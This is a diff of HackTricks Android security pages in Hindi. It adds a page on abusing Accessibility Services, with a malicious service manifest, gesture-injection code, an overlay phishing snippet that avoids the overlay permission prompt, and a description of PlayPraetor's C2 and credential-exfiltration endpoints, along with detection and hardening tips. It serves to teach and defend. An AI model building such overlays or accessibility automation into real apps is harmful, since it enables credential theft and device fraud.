एक बार जब आप MobSF के साथ डायनामिक विश्लेषण समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर क्लिक कर सकते हैं ताकि **http requests** को **fuzz** किया जा सके और कमजोरियों की तलाश की जा सके। एक बार जब आप MobSF के साथ डायनामिक विश्लेषण समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर क्लिक कर सकते हैं ताकि **http requests** को **fuzz** किया जा सके और कमजोरियों की तलाश की जा सके।
@ -599,7 +600,7 @@ receivers
### [Yaazhini](https://www.vegabird.com/yaazhini/) ### [Yaazhini](https://www.vegabird.com/yaazhini/)
यह एक **शानदार टूल है जो GUI के साथ स्थैतिक विश्लेषण करने के लिए है** यह एक **GUI के साथ स्थिर विश्लेषण करने के लिए एक शानदार टूल है**
![](<../../images/image (741).png>) ![](<../../images/image (741).png>)
@ -627,7 +628,7 @@ reverse-apk relative/path/to/APP.apk
SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है। SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है।
सभी नियम `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकते हैं। सभी नियम `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यक विश्लेषण के लिए अपने नियम बना सकते हैं।
नवीनतम बाइनरी [डाउनलोड पृष्ठ](https://superanalyzer.rocks/download.html) से डाउनलोड करें। नवीनतम बाइनरी [डाउनलोड पृष्ठ](https://superanalyzer.rocks/download.html) से डाउनलोड करें।
``` ```
@ -639,7 +640,7 @@ super-analyzer {apk_file}
StaCoAn एक **क्रॉसप्लेटफ़ॉर्म** उपकरण है जो डेवलपर्स, बग बाउंटी शिकारियों और नैतिक हैकरों को मोबाइल अनुप्रयोगों पर [स्टैटिक कोड विश्लेषण](https://en.wikipedia.org/wiki/Static_program_analysis) करने में मदद करता है। StaCoAn एक **क्रॉसप्लेटफ़ॉर्म** उपकरण है जो डेवलपर्स, बग बाउंटी शिकारियों और नैतिक हैकरों को मोबाइल अनुप्रयोगों पर [स्टैटिक कोड विश्लेषण](https://en.wikipedia.org/wiki/Static_program_analysis) करने में मदद करता है।
विचार यह है कि आप अपने मोबाइल अनुप्रयोग फ़ाइल (एक .apk या .ipa फ़ाइल) को StaCoAn अनुप्रयोग पर खींचते और छोड़ते हैं और यह आपके लिए एक दृश्य और पोर्टेबल रिपोर्ट उत्पन्न करेगा। आप सेटिंग्स और वर्डलिस्ट को समायोजित कर सकते हैं ताकि एक अनुकूलित अनुभव प्राप्त कर सकें। इसका सिद्धांत यह है कि आप अपने मोबाइल अनुप्रयोग फ़ाइल (एक .apk या .ipa फ़ाइल) को StaCoAn अनुप्रयोग पर खींचते और छोड़ते हैं और यह आपके लिए एक दृश्य और पोर्टेबल रिपोर्ट उत्पन्न करेगा। आप सेटिंग्स और वर्डलिस्ट को अनुकूलित अनुभव प्राप्त करने के लिएमायोजित र सकत हैं।
डाउनलोड[ नवीनतम रिलीज़](https://github.com/vincentcox/StaCoAn/releases): डाउनलोड[ नवीनतम रिलीज़](https://github.com/vincentcox/StaCoAn/releases):
``` ```
@ -659,7 +660,7 @@ androbugs.exe -f [APK file]
पता लगाने की प्रक्रिया एप्लिकेशन के Dalvik बाइटकोड का **स्थैतिक विश्लेषण** करके की जाती है, जिसे **Smali** के रूप में दर्शाया गया है, [`androguard`](https://github.com/androguard/androguard) पुस्तकालय के साथ। पता लगाने की प्रक्रिया एप्लिकेशन के Dalvik बाइटकोड का **स्थैतिक विश्लेषण** करके की जाती है, जिसे **Smali** के रूप में दर्शाया गया है, [`androguard`](https://github.com/androguard/androguard) पुस्तकालय के साथ।
यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ताओं का एक्सफिल्ट्रेशन, ऑडियो/वीडियो प्रवाह का इंटरसेप्शन, PIM डेटा में संशोधन, मनमाना कोड निष्पादन... यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ता का बहिर्वाह, ऑडियो/वीडियो प्रवाह का अवरोधन, PIM डेटा में संशोधन, मनमाने कोड का निष्पादन...
``` ```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
``` ```
@ -667,12 +668,12 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>) ![](<../../images/image (595).png>)
**MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एकत्र करता है, ताकि OWASP मोबाइल सुरक्षा खतरों के खिलाफ मोबाइल एप्लिकेशनों का परीक्षण करने में सहायता मिल सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है। **MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एक साथ लाता है, ताकि OWASP मोबाइल सुरक्षा खतरों के खिलाफ मोबाइल एप्लिकेशनों का परीक्षण करने में सहायता मिल सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है।
यह सक्षम है: यह सक्षम है:
- विभिन्न उपकरणों का उपयोग करके Java और Smali कोड निकालना - विभिन्न उपकरणों का उपयोग करके Java और Smali कोड निकालना
- [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) का उपयोग करके APK का विश्लेषण करना - [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) का उपयोग करके APKs का विश्लेषण करना
- regexps का उपयोग करके APK से निजी जानकारी निकालना। - regexps का उपयोग करके APK से निजी जानकारी निकालना।
- मैनिफेस्ट का विश्लेषण करना। - मैनिफेस्ट का विश्लेषण करना।
- [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) और [whatweb](https://github.com/urbanadventurer/WhatWeb) का उपयोग करके पाए गए डोमेन का विश्लेषण करना - [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) और [whatweb](https://github.com/urbanadventurer/WhatWeb) का उपयोग करके पाए गए डोमेन का विश्लेषण करना
@ -682,7 +683,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
मैलवेयर का पता लगाने के लिए उपयोगी: [https://koodous.com/](https://koodous.com) मैलवेयर का पता लगाने के लिए उपयोगी: [https://koodous.com/](https://koodous.com)
## कोड को ओबफस्केटिंग/डिओबफस्केटिंग करना ## कोड को ओबफस्केट/डिओबफस्केट करना
ध्यान दें कि जिस सेवा और कॉन्फ़िगरेशन का आप उपयोग करते हैं, उसके आधार पर कोड को ओबफस्केट करने के लिए। रहस्य ओबफस्केटेड हो सकते हैं या नहीं भी। ध्यान दें कि जिस सेवा और कॉन्फ़िगरेशन का आप उपयोग करते हैं, उसके आधार पर कोड को ओबफस्केट करने के लिए। रहस्य ओबफस्केटेड हो सकते हैं या नहीं भी।
@ -690,11 +691,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
[विकिपीडिया](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** एक ओपन-सोर्स कमांड-लाइन उपकरण है जो Java कोड को संकुचित, अनुकूलित और ओबफस्केट करता है। यह बाइटकोड को अनुकूलित करने के साथ-साथ अप्रयुक्त निर्देशों का पता लगाने और उन्हें हटाने में सक्षम है। ProGuard मुफ्त सॉफ़्टवेयर है और इसे GNU जनरल पब्लिक लाइसेंस, संस्करण 2 के तहत वितरित किया जाता है। [विकिपीडिया](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** एक ओपन-सोर्स कमांड-लाइन उपकरण है जो Java कोड को संकुचित, अनुकूलित और ओबफस्केट करता है। यह बाइटकोड को अनुकूलित करने के साथ-साथ अप्रयुक्त निर्देशों का पता लगाने और उन्हें हटाने में सक्षम है। ProGuard मुफ्त सॉफ़्टवेयर है और इसे GNU जनरल पब्लिक लाइसेंस, संस्करण 2 के तहत वितरित किया जाता है।
ProGuard Android SDK का एक हिस्सा है और एप्लिकेशन को रिलीज़ मोड में बनाने पर चलता है। ProGuard Android SDK का एक हिस्सा है और रिलीज़ मोड में एप्लिकेशन बनाने पर चलता है।
### [DexGuard](https://www.guardsquare.com/dexguard) ### [DexGuard](https://www.guardsquare.com/dexguard)
APK को डिओबफस्केट करने के लिए चरण-दर-चरण गाइड [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) पर खोजें APK को डिओबफस्केट करने के लिए चरण-दर-चरण गाइड [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) में खोजें
(उस गाइड से) आखिरी बार जब हमने जांचा, Dexguard का संचालन मोड था: (उस गाइड से) आखिरी बार जब हमने जांचा, Dexguard का संचालन मोड था:
@ -716,7 +717,7 @@ APK को डिओबफस्केट करने के लिए चर
### [Simplify](https://github.com/CalebFenton/simplify) ### [Simplify](https://github.com/CalebFenton/simplify)
यह एक **सामान्य Android डिओबफस्केटर है।** Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन इसे मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि किस विशेष प्रकार की ओबफस्केशन का उपयोग किया गया है। यह एक **सामान्य Android डिओबफस्केटर है।** Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है।
### [APKiD](https://github.com/rednaga/APKiD) ### [APKiD](https://github.com/rednaga/APKiD)
@ -730,7 +731,7 @@ APKiD आपको **यह जानकारी देता है कि ए
### [Androl4b](https://github.com/sh4hin/Androl4b) ### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b एक Android सुरक्षा वर्चुअल मशीन है जो ubuntu-mate पर आधारित है, जिसमें विभिन्न सुरक्षा विशेषज्ञों और शोधकर्ताओं से रिवर्स इंजीनियरिंग और मैलवेयर विश्लेषण के लिए नवीनतम फ्रेमवर्क, ट्यूटोरियल और प्रयोगशालाओं का संग्रह शामिल है। AndroL4b एक Android सुरक्षा वर्चुअल मशीन है जो ubuntu-mate पर आधारित है, जिसमें रिवर्स इंजीनियरिंग और मैलवेयर विश्लेषण के लिए विभिन्न सुरक्षा विशेषज्ञों और शोधकर्ताओं से नवीनतम फ्रेमवर्क, ट्यूटोरियल और प्रयोगशालाओं का संग्रह शामिल है।
## संदर्भ ## संदर्भ

View File

@ -0,0 +1,145 @@
# Android Accessibility Service Abuse
{{#include ../../banners/hacktricks-training.md}}
## Overview
`AccessibilityService` को विकलांगता वाले उपयोगकर्ताओं को Android उपकरणों के साथ बातचीत करने में मदद करने के लिए बनाया गया था। दुर्भाग्यवश, वही **शक्तिशाली ऑटोमेशन APIs** (वैश्विक नेविगेशन, पाठ इनपुट, इशारा वितरण, ओवरले विंडोज…) को मैलवेयर द्वारा हथियार बनाया जा सकता है ताकि _रूट विशेषाधिकारों के बिना_ हैंडसेट का **पूर्ण दूरस्थ नियंत्रण** प्राप्त किया जा सके।
आधुनिक Android बैंकिंग ट्रोजन और रिमोट-एक्सेस-ट्रोजन (RATs) जैसे **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** और कई अन्य इसी नुस्खे का पालन करते हैं:
1. पीड़ित को एक धोखाधड़ी एक्सेसिबिलिटी सेवा को सक्षम करने के लिए सामाजिक-इंजीनियर करें ( *BIND_ACCESSIBILITY_SERVICE* अनुमति को "उच्च-जोखिम" माना जाता है और इसके लिए एक स्पष्ट उपयोगकर्ता क्रिया की आवश्यकता होती है)।
2. सेवा का लाभ उठाएं ताकि
* स्क्रीन पर दिखाई देने वाले हर UI इवेंट और पाठ को कैप्चर करें,
* किसी भी कार्य को स्वचालित करने के लिए कृत्रिम इशारों (`dispatchGesture`) और वैश्विक क्रियाओं (`performGlobalAction`) को इंजेक्ट करें,
* **TYPE_ACCESSIBILITY_OVERLAY** विंडो प्रकार का उपयोग करके वैध ऐप्स के शीर्ष पर पूर्ण-स्क्रीन ओवरले खींचें (कोई `SYSTEM_ALERT_WINDOW` प्रॉम्प्ट नहीं!),
* पीड़ित की ओर से सिस्टम डायलॉग पर क्लिक करके अतिरिक्त रनटाइम अनुमतियाँ चुपचाप प्रदान करें।
3. डेटा को एक्सफिल्ट्रेट करें या उपयोगकर्ता के सामान्य स्क्रीन को देखते समय वास्तविक समय में **On-Device-Fraud (ODF)** करें।
---
## Requesting the permission
```xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
```
साथी XML यह परिभाषित करता है कि नकली संवाद कैसा दिखेगा:
```xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
```
---
## रिमोट UI स्वचालन प्राथमिकताएँ
```java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
```
इन दो APIs के साथ, एक हमलावर कर सकता है:
* स्क्रीन को अनलॉक करें, बैंकिंग ऐप खोलें, इसके UI पेड़ में नेविगेट करें और एक ट्रांसफर फॉर्म सबमिट करें।
* हर अनुमति संवाद को स्वीकार करें जो पॉप अप होता है।
* प्ले स्टोर इरादे के माध्यम से अतिरिक्त APKs स्थापित/अपडेट करें।
---
## दुरुपयोग पैटर्न
### 1. ओवरले फ़िशिंग (क्रेडेंशियल हार्वेस्टिंग)
एक पारदर्शी या अपारदर्शी `WebView` को विंडो प्रबंधक में जोड़ा जाता है:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
The victim types credentials into the fake form while the background app receives the same gestures कोई संदिग्ध "अन्य ऐप्स पर ड्रॉ करें" प्रॉम्प्ट कभी नहीं दिखाया जाता है।
> विस्तृत उदाहरण: *Accessibility Overlay Phishing* अनुभाग Tapjacking पृष्ठ के अंदर।
### 2. ऑन-डिवाइस धोखाधड़ी स्वचालन
**PlayPraetor** जैसे मैलवेयर परिवार एक स्थायी WebSocket चैनल बनाए रखते हैं जहां ऑपरेटर उच्च-स्तरीय आदेश जारी कर सकता है (`init`, `update`, `alert_arr`, `report_list`, …)। यह सेवा उन आदेशों को ऊपर दिए गए निम्न-स्तरीय इशारों में अनुवादित करती है, जिससे वास्तविक समय में अनधिकृत लेनदेन होते हैं जो उस विशेष डिवाइस से जुड़े मल्टी-फैक्टर-प्रमाणीकरण को आसानी से बायपास कर देते हैं।
### 3. स्क्रीन स्ट्रीमिंग और निगरानी
**MediaProjection API** को RTMP क्लाइंट लाइब्रेरी के साथ मिलाकर, RAT लाइव फ्रेमबफर को `rtmp://<c2>:1935/live/<device_id>` पर प्रसारित कर सकता है, जिससे प्रतिकूल पक्ष को पूर्ण स्थिति जागरूकता मिलती है जबकि Accessibility इंजन UI को संचालित करता है।
---
## PlayPraetor कमांड और नियंत्रण कार्यप्रवाह
1. **HTTP(S) हार्टबीट** एक हार्ड-कोडेड सूची पर दोहराएं जब तक एक डोमेन `POST /app/searchPackageName` के साथ सक्रिय C2 का उत्तर नहीं देता।
2. **WebSocket (पोर्ट 8282)** द्विदिशात्मक JSON आदेश:
* `update` नए conf/APKs पुश करें
* `alert_arr` ओवरले टेम्पलेट्स कॉन्फ़िगर करें
* `report_list` लक्षित पैकेज नामों की सूची भेजें
* `heartbeat_web` जीवित रखें
3. **RTMP (पोर्ट 1935)** लाइव स्क्रीन/वीडियो स्ट्रीमिंग।
4. **REST एक्सफिल्ट्रेशन**
* `/app/saveDevice` (फिंगरप्रिंट)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
* `/app/saveCardPwd` (बैंक क्रेड्स)
**AccessibilityService** वह स्थानीय इंजन है जो उन क्लाउड आदेशों को भौतिक इंटरैक्शन में बदलता है।
---
## दुर्भावनापूर्ण एक्सेसिबिलिटी सेवाओं का पता लगाना
* `adb shell settings get secure enabled_accessibility_services`
* सेटिंग्स → एक्सेसिबिलिटी → *डाउनलोड की गई सेवाएं* उन ऐप्स की तलाश करें जो **Google Play** से **नहीं** हैं।
* MDM / EMM समाधान `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) को लागू कर सकते हैं ताकि साइडलोडेड सेवाओं को ब्लॉक किया जा सके।
* चल रही सेवाओं का विश्लेषण करें:
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
## ऐप डेवलपर्स के लिए हार्डनिंग सिफारिशें
* संवेदनशील दृश्य को `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+) के साथ चिह्नित करें।
* टैप/ओवरले हाईजैकिंग को रोकने के लिए `setFilterTouchesWhenObscured(true)` को `FLAG_SECURE` के साथ मिलाएं।
* `WindowManager.getDefaultDisplay().getFlags()` या `ViewRootImpl` API द्वारा ओवरले का पता लगाएं।
* जब `Settings.canDrawOverlays()` **या** एक गैर-विश्वसनीय Accessibility सेवा सक्रिय हो, तो संचालन करने से इनकार करें।
---
## संदर्भ
* [PlayPraetors evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
* [Android accessibility documentation Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,20 +4,20 @@
## **बुनियादी जानकारी** ## **बुनियादी जानकारी**
**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **ऐप्लिकेशन** लॉन्च किया जाता है और **पीड़ित ऐप्लिकेशन के ऊपर खुद को स्थिति में रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से ढक लेता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता इसके साथ इंटरैक्ट करने के लिए धोखा खा जाए, जबकि यह इंटरैक्शन को पीड़ित ऐप के पास भेज रहा है।\ **Tapjacking** एक हमला है जहाँ एक **दुष्ट** **अनुप्रयोग** लॉन्च किया जाता है और **पीड़ित अनुप्रयोग के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से ढक लेता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता इसके साथ इंटरैक्ट करने के लिए धोखा खा जाए, जबकि यह इंटरैक्शन को पीड़ित ऐप के पास भेज रहा है।\
इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं** इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**
### पहचान ### पहचान
इस हमले के प्रति संवेदनशील ऐप्स का पता लगाने के लिए आपको एंड्रॉइड मैनिफेस्ट में **निर्यातित गतिविधियों** की खोज करनी चाहिए (ध्यान दें कि एक गतिविधि जिसमें एक इरादा-फिल्टर है, डिफ़ॉल्ट रूप से स्वचालित रूप से निर्यातित होती है)। एक बार जब आप निर्यातित गतिविधियों को ढूंढ लेते हैं, तो **जांचें कि क्या उन्हें कोई अनुमति चाहिए**। इसका कारण यह है कि **दुष्ट ऐप्लिकेशन को भी उस अनुमति की आवश्यकता होगी**। इस हमले के प्रति संवेदनशील ऐप्स का पता लगाने के लिए आपको एंड्रॉइड मैनिफेस्ट में **निर्यातित गतिविधियों** की खोज करनी चाहिए (ध्यान दें कि एक गतिविधि जिसमें एक इरादा-फिल्टर है, डिफ़ॉल्ट रूप से स्वचालित रूप से निर्यातित होती है)। एक बार जब आप निर्यातित गतिविधियों को ढूंढ लेते हैं, तो **जांचें कि क्या उन्हें कोई अनुमति चाहिए**। इसका कारण यह है कि **दुष्ट अनुप्रयोग को भी उस अनुमति की आवश्यकता होगी**।
आप ऐप का न्यूनतम SDK संस्करण भी जांच सकते हैं, **`AndroidManifest.xml`** फ़ाइल में **`android:minSdkVersion`** के मान की जांच करके। यदि मान **30 से कम है**, तो ऐप Tapjacking के प्रति संवेदनशील है। आप ऐप के न्यूनतम SDK संस्करण की भी जांच कर सकते हैं, **`android:minSdkVersion`** के मान की जांच करते हुए **`AndroidManifest.xml`** फ़ाइल में। यदि मान **30 से कम है**, तो ऐप Tapjacking के प्रति संवेदनशील है।
### सुरक्षा ### सुरक्षा
#### Android 12 (API 31,32) और उच्चतर #### Android 12 (API 31,32) और उच्चतर
[**इस स्रोत के अनुसार**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** Tapjacking हमलों को Android 12 (API 31 & 30) और उच्चतर से स्वचालित रूप से रोका जाता है। इसलिए, भले ही ऐप्लिकेशन संवेदनशील हो, आप **इसे शोषण नहीं कर पाएंगे** [**इस स्रोत के अनुसार**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** Tapjacking हमलों को Android 12 (API 31 & 30) और उच्चतर से स्वचालित रूप से रोका जाता है। इसलिए, भले ही अनुप्रयोग संवेदनशील हो, आप **इसे शोषण नहीं कर पाएंगे**
#### `filterTouchesWhenObscured` #### `filterTouchesWhenObscured`
@ -35,17 +35,17 @@ android:layout_height="wrap_content"
android:filterTouchesWhenObscured="true"> android:filterTouchesWhenObscured="true">
</Button> </Button>
``` ```
## Exploitation ## शोषण
### Tapjacking-ExportedActivity ### Tapjacking-ExportedActivity
सबसे **हाल का Android एप्लिकेशन** जो Tapjacking हमला करता है (+ हमले के एप्लिकेशन की निर्यातित गतिविधि से पहले सक्रिय करना) यहाँ पाया जा सकता है: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity). सबसे **हाल का Android एप्लिकेशन** जो Tapjacking हमले को अंजाम देता है (+ हमले के एप्लिकेशन की निर्यातित गतिविधि से पहले सक्रिय करना) यहाँ पाया जा सकता है: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
इसे उपयोग करने के लिए **README निर्देशों का पालन करें**. इसे उपयोग करने के लिए **README निर्देशों का पालन करें**.
### FloatingWindowApp ### FloatingWindowApp
एक उदाहरण प्रोजेक्ट जो **FloatingWindowApp** को लागू करता है, जिसे अन्य गतिविधियों के ऊपर क्लिकजैकिंग हमले को करने के लिए उपयोग किया जा सकता है, यहाँ पाया जा सकता है [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (थोड़ा पुराना, apk बनाने में शुभकामनाएँ). एक उदाहरण प्रोजेक्ट जो **FloatingWindowApp** को लागू करता है, जिसे अन्य गतिविधियों के ऊपर क्लिकजैकिंग हमले को अंजाम देने के लिए उपयोग किया जा सकता है, यहाँ पाया जा सकता है [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (थोड़ा पुराना, apk बनाने में शुभकामनाएँ).
### Qark ### Qark
@ -56,20 +56,20 @@ android:filterTouchesWhenObscured="true">
निवारण अपेक्षाकृत सरल है क्योंकि डेवलपर यह चुन सकता है कि जब एक दृश्य दूसरे द्वारा ढका होता है तो स्पर्श घटनाएँ प्राप्त न करें। [Android Developers Reference](https://developer.android.com/reference/android/view/View#security) का उपयोग करते हुए: निवारण अपेक्षाकृत सरल है क्योंकि डेवलपर यह चुन सकता है कि जब एक दृश्य दूसरे द्वारा ढका होता है तो स्पर्श घटनाएँ प्राप्त न करें। [Android Developers Reference](https://developer.android.com/reference/android/view/View#security) का उपयोग करते हुए:
> कभी-कभी यह आवश्यक होता है कि एक एप्लिकेशन यह सत्यापित कर सके कि कोई क्रिया पूरी जानकारी और उपयोगकर्ता की सहमति के साथ की जा रही है, जैसे कि अनुमति अनुरोध को स्वीकार करना, खरीदारी करना या विज्ञापन पर क्लिक करना। दुर्भाग्यवश, एक दुर्भावनापूर्ण एप्लिकेशन उपयोगकर्ता को इन क्रियाओं को करने के लिए धोखा देने की कोशिश कर सकता है, बिना यह जाने कि दृश्य का उद्देश्य क्या है। एक उपाय के रूप में, ढांचा एक स्पर्श फ़िल्टरिंग तंत्र प्रदान करता है जिसका उपयोग संवेदनशील कार्यक्षमता तक पहुँच प्रदान करने वाले दृश्यों की सुरक्षा में सुधार के लिए किया जा सकता है। > कभी-कभी यह आवश्यक होता है कि एक एप्लिकेशन यह सत्यापित कर सके कि कोई क्रिया उपयोगकर्ता की पूरी जानकारी और सहमति के साथ की जा रही है, जैसे कि अनुमति अनुरोध को स्वीकार करना, खरीदारी करना या विज्ञापन पर क्लिक करना। दुर्भाग्यवश, एक दुर्भावनापूर्ण एप्लिकेशन उपयोगकर्ता को इन क्रियाओं को करने के लिए धोखा देने की कोशिश कर सकता है, बिना यह जाने कि दृश्य का वास्तविक उद्देश्य क्या है। एक उपाय के रूप में, ढांचा एक स्पर्श फ़िल्टरिंग तंत्र प्रदान करता है जिसका उपयोग संवेदनशील कार्यक्षमता तक पहुँच प्रदान करने वाले दृश्यों की सुरक्षा में सुधार के लिए किया जा सकता है।
> >
> स्पर्श फ़िल्टरिंग सक्षम करने के लिए, [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) को कॉल करें या android:filterTouchesWhenObscured लेआउट विशेषता को true पर सेट करें। जब सक्षम किया जाता है, तो ढांचा उन स्पर्शों को अस्वीकार कर देगा जो तब प्राप्त होते हैं जब दृश्य की विंडो किसी अन्य दृश्य विंडो द्वारा ढकी होती है। परिणामस्वरूप, दृश्य तब स्पर्श प्राप्त नहीं करेगा जब भी एक टोस्ट, संवाद या अन्य विंडो दृश्य की विंडो के ऊपर दिखाई देती है। > स्पर्श फ़िल्टरिंग सक्षम करने के लिए, [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) को कॉल करें या android:filterTouchesWhenObscured लेआउट विशेषता को true पर सेट करें। जब सक्षम किया जाता है, तो ढांचा उन स्पर्शों को अस्वीकार कर देगा जो तब प्राप्त होते हैं जब दृश्य की विंडो किसी अन्य दृश्य विंडो द्वारा ढकी होती है। परिणामस्वरूप, दृश्य को स्पर्श प्राप्त नहीं होंगे जब भी एक टोस्ट, संवाद या अन्य विंडो दृश्य की विंडो के ऊपर दिखाई देती है।
--- ---
## Accessibility Overlay Phishing (Banking-Trojan Variant) ## एक्सेसिबिलिटी ओवरले फ़िशिंग (बैंकिंग-ट्रोजन वेरिएंट)
